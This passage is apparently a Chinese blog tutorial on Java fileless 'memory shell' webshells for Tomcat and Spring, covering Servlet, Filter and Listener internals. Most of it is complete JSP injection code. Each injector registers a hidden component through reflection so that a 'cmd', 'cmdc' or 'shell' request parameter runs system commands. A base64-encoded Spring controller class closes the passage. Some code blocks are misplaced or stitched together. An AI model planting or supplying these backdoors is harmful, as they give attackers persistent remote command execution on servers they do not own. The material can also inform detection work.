JavaMemShell

前言

懒得在写一次socket分析了,因为逻辑大差不差,但是马实现起来还是有差异的

文中提到的内存马可以于此处下载

Tips:如果你觉得没看懂或者很模糊,那你一定是前置知识没学好

概述

内存马又名无文件马,见名知意,指的是无文件落地的webshell,由于传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出了一种新型的内存WebShell技术,核心思想用一句话概括,即:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门

前置知识

  • Java web三大件
  • Tomcat
  • Java 反射
  • Spring MVC
  • Java Agent
  • WebSocket
  • Native
  • 汇编
  • JNI
  • IDA

Filter和Servlet的回顾性总结

对于基于FilterServlet实现的简单架构项目,代码审计的重心集中于找出所有的Filter分析其过滤规则,找出是否有做全局的安全过滤、敏感的URL地址是否有做权限校验并尝试绕过Filter过滤。第二点则是找出所有的Servlet,分析Servlet的业务是否存在安全问题,如果存在安全问题是否可以利用?是否有权限访问?利用时是否被Filter过滤等问题,切勿看到Servlet、JSP中的漏洞点就妄下定论,不要忘了Servlet前面很有可能存在一个全局安全过滤的Filter。

FilterServlet都是Java Web提供的API,简单的总结了下有如下共同点。

  1. Filter和Servlet都需要在web.xml或注解(@WebFilter、@WebServlet)中配置,而且配置方式是非常的相似的。

  2. Filter和Servlet都可以处理来自Http请求的请求,两者都有request、response对象。

  3. Filter和Servlet基础概念不一样,Servlet定义是容器端小程序,用于直接处理后端业务逻辑,而Filter的思想则是实现对Java Web请求资源的拦截过滤。

  4. Filter和Servlet虽然概念上不太一样,但都可以处理Http请求,都可以用来实现MVC控制器(Struts2和Spring框架分别基于Filter和Servlet技术实现的)。

  5. 一般来说Filter通常配置在MVC、Servlet和JSP请求前面,常用于后端权限控制、统一的Http请求参数过滤(统一的XSS、SQL注入、Struts2命令执行等攻击检测处理)处理,其核心主要体现在请求过滤上,而Servlet更多的是用来处理后端业务请求上。

内存马的发展历史

17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell

18年经过rebeyong师傅使用agent技术加持后,利用进程注入”实现无文件不死webshell

20年,LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究

内存马的类型

  • Agent型
    • 利用 instrument 机制,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。
    • 利用 Javassist 库,在不增加新类和新方法的情况下,对现有类的执行逻辑进行修改。JVM层注入,通用性强。
  • 非Agent型
    • 通过新增一些Java web组件(如 Servlet、Filter、Listener、Controller、WebSocket、Tomcat 等)来实现拦截请求,从而注入木马代码,对目标容器环境有较强的依赖性,通用性较弱。

Servlet-API 提供的动态注册机制

早在 2013 年,国际大站 p2j 就发布了这种特性的一种使用方法:

ServletListenerFilterjavax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 addcreate 方法来实现动态注册的功能。

Servlet 内存马

Servlet 是 Server Applet(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。

  • 那么在一次访问到达 Tomcat 时,是如何匹配到具体的 Servlet 的?这个过程简单一点,只有两部走:

  • ApplicationServletRegistration 的 addMapping 方法调用 StandardContext#addServletMapping 方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)

  • 同时在 servletMappings 中添加 URL 路径与 name 的映射。

  • 实现过程:

  1. 创建一个恶意的servlet
  2. 获取当前的StandardContext
  3. 将恶意servlet封装成wrapper添加到StandardContext的children当中
  4. 添加ServletMapping将访问的URL和wrapper进行绑定

执行下面的代码,访问当前应用的/shell路径,加上cmd参数就可以命令执行

jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
// 创建恶意Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {

}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {

}
};

%>
<%
// 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 用Wrapper对其进行封装
org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
newWrapper.setName("jweny");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

// 添加封装后的恶意Wrapper到StandardContext的children当中
standardCtx.addChild(newWrapper);

// 添加ServletMapping将访问的URL和Servlet进行绑定
standardCtx.addServletMapping("/shell","jweny");
%>

另一种实现方式:

jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->


<%
class EvilServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
Runtime.getRuntime().exec(request1.getParameter("cmd"));
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("evilPage");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMapping("/evilpage", "evilPage");
out.println("动态注入servlet成功");
%>

%>


<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/abcd");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>

Filter型

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContextaddFilter/createFilter 方法注册;

  2. 使用 ServletContextListenercontextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);

  3. 使用 ServletContainerInitializeronStartup 方法在初始化时注册(非动态,后面会描述)。

首先来看一下 createFilter 方法,按照注释,这个类用来在调用 addFilterServletContext 实例化一个指定的 Filter 类。

这个类还约定了一个事情,那就是如果这个 ServletContext 传递给 ServletContextListenerServletContextListener.contextInitialized 方法,该方法既未在 web.xmlweb-fragment.xml 中声明,也未使用 javax.servlet.annotation.WebListener 进行注释,则会抛出 UnsupportedOperationException 异常,这个约定其实是非常重要的一点。

接下来看 addFilter 方法,ServletContext 中有三个重载方法,分别接收字符串类型的 filterName以及 Filter 对象/className 字符串/Filter 子类的 Class 对象,提供不同场景下添加 filter 的功能,这些方法均返回 FilterRegistration.Dynamic 实际上就是 FilterRegistration 对象。

addFilter 方法实际上就是动态添加 filter 的最核心和关键的方法,但是这个类中同样约定了 UnsupportedOperationException 异常。

由于 Servlet API 只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 7.0.96 为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter 中。

可以看到,这个方法创建了一个 FilterDef 对象,将 filterName、filterClass、filter 对象初始化进去,使用 StandardContext 的 addFilterDef 方法将创建的 FilterDef 储存在了 StandardContext 中的一个 Hashmap filterDefs 中,然后 new 了一个 ApplicationFilterRegistration 对象并且返回,并没有将这个 Filter 放到 FilterChain 中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。

这时我们肯定要想,能不能直接操纵 FilterChain 呢?FilterChain 在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain,这个类提供了一个 addFilter 方法添加 Filter,这个方法接受一个 ApplicationFilterConfig 对象,将其放在 this.filters 中。答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain 都是动态取得的

那Tomcat 是如何处理一次请求对应的 FilterChain 的呢?在 ApplicationFilterFactorycreateFilterChain 方法中,可以看到流程如下:

  1. 在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
  2. 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;
  3. 如果获取到 filterConfig,则将其加入到 filterChain 中
  4. 后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。
  5. 通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。

在之前的 ApplicationContextaddFilter 中将 filter 初始化存在了 StandardContextfilterDefs 中,那后面又是如何添加在其他参数中的呢?

StandardContextfilterStart 方法中生成了 filterConfigs

ApplicationFilterRegistrationaddMappingForUrlPatterns 中生成了 filterMaps

而这两者的信息都是从 filterDefs 中的对象获取的。

在了解了上述逻辑后,在应用程序中动态的添加一个 filter 的思路就清晰了:

  1. 调用 ApplicationContext 的 addFilter 方法创建 filterDefs 对象,需要反射修改应用程序的运行状态,加完之后再改回来;
  2. 调用 StandardContext 的 filterStart 方法生成 filterConfigs;
  3. 调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps;
  4. 为了兼容某些特殊情况,将我们加入的 filter 放在 filterMaps 的第一位,可以自己修改 HashMap 中的顺序,也可以在自己调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位。

基于以上思路的实现在 threedr3am 师傅的这篇文章中有实现代码,我这里不再重复,而且这种实现方式也不适合我,既然知道了需要修改的关键位置,那就没有必要调用方法去改,直接用反射加进去就好了,其中中间还有很多小细节可以变化,但都不是重点,略过。

具体实现代码如下:

可以看到请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行

自定义一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.zzddhmt7;

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter初始化创建....");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
System.out.println("进行过滤操作......");
// 放行
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}

然后在web.xml中注册filter,这里我设置url-pattern为 /demo 即访问 /demo 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>filterDemo</filter-name>
<filter-class>filter.filterDemo</filter-class>
</filter>

<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

访问http://localhost:8080/demo ,就可以发现成功触发

过程:

  1. 创建恶意 filter ;
  2. 用 filterDef 对 filter 进行封装 ;
  3. 将 filterDef 添加到 filterDefs 跟 filterConfigs 中
  4. 创建一个新的 filterMap 将 URL 跟 filter 进行绑定,并添加到 filterMaps 中。要注意的是,因为 filter 生效会有一个先后顺序,所以一般来讲我们还需要把我们的 filter 给移动到 FilterChain 的第一位去;
  5. 每次请求 createFilterChain 都会依据此动态生成一个过滤链,而 StandardContext 又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启;

访问下面这个 jsp ,注入成功后,用 ?cmd= 即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是 servlet 3 以后引入,而 Tomcat 7 以上才支持 Servlet 3 ):

jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

适用更多版本的实现:

jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>


<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->

<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (req.getParameter("cmdc") != null) {
Runtime.getRuntime().exec(req.getParameter("cmdc"));
response.getWriter().println("exec done");
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}

}
%>


<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/abcd");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>

Listener型

Servlet 和 Filter 是程序员常接触的两个技术,所以在网络上对于之前两小节的讨论较多,对于 Listener 的讨论较少。但实际上这个点还是有很多师傅关注到了。

Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。先来了解一下 Listener 是干什么的,看一下 Servlet API 中的注释。

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

可以看到 Listener 也是为一次访问的请求或生命周期进行服务的,在上述每个不同的接口中,都提供了不同的方法,用来在监听的对象发生改变时进行触发。而这些类接口,实际上都是 java.util.EventListener 的子接口。这里我们看到,在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马。

而除了这个 Listener,其他的 Listener 在某些情况下也可以触发作为内存马的实现,本篇文章里不会对每个都进行触发测试,感兴趣的师傅可以自测。

ServletRequestListener 提供两个方法:requestInitialized 和 requestDestroyed,两个方法均接收 ServletRequestEvent 作为参数,ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。

Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersObjects 属性中,同样可以使用 StandardContext 的相关 add 方法添加。

具体实现如下

过程:

  • 创建恶意Listener
  • 将其添加到ApplicationEventListener中去
  • 上传并访问下面这个jsp文件
jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%
Object obj = request.getServletContext();
java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
//获取ApplicationContext
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取StandardContext
ListenerDemo listenerdemo = new ListenerDemo();
//创建能够执行命令的Listener
standardContext.addApplicationEventListener(listenerdemo);
%>
<%!
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
//e.printStackTrace();
}
}
}
%>

另一种实现

jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if(request.getParameter("shell") != null){
try {
Runtime.getRuntime().exec(request.getParameter("shell"));
} catch (IOException e) {}
}
}
}
%>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

Spring

反射实现时用的webshell

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.qi4l.memshell.spring.controller;

import sun.misc.BASE64Decoder;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class DynamicUtils {


public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQALQoABgAeCwAfACAIACEKACIAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAvTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAKRXhjZXB0aW9ucwcAJgEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADRMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL0dldE1hcHBpbmc7AQAKU291cmNlRmlsZQEAE1Rlc3RDb250cm9sbGVyLmphdmEBACtMb3JnL3NwcmluZ2ZyYW1ld29yay9zdGVyZW90eXBlL0NvbnRyb2xsZXI7AQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEABS9zdTE4DAAHAAgHACcMACgAKQEADXN1MTggaXMgaGVyZX4HACoMACsALAEALW9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAEQALAAAADAABAAAABQAMAA0AAAABAA4ADwADAAkAAABOAAIAAwAAAAwsuQACAQASA7YABLEAAAACAAoAAAAKAAIAAAAVAAsAFgALAAAAIAADAAAADAAMAA0AAAAAAAwAEAARAAEAAAAMABIAEwACABQAAAAEAAEAFQAWAAAABgABABcAAAACABgAAAACABkAFgAAABIAAgAaAAAAGwABABxbAAFzAB0=";

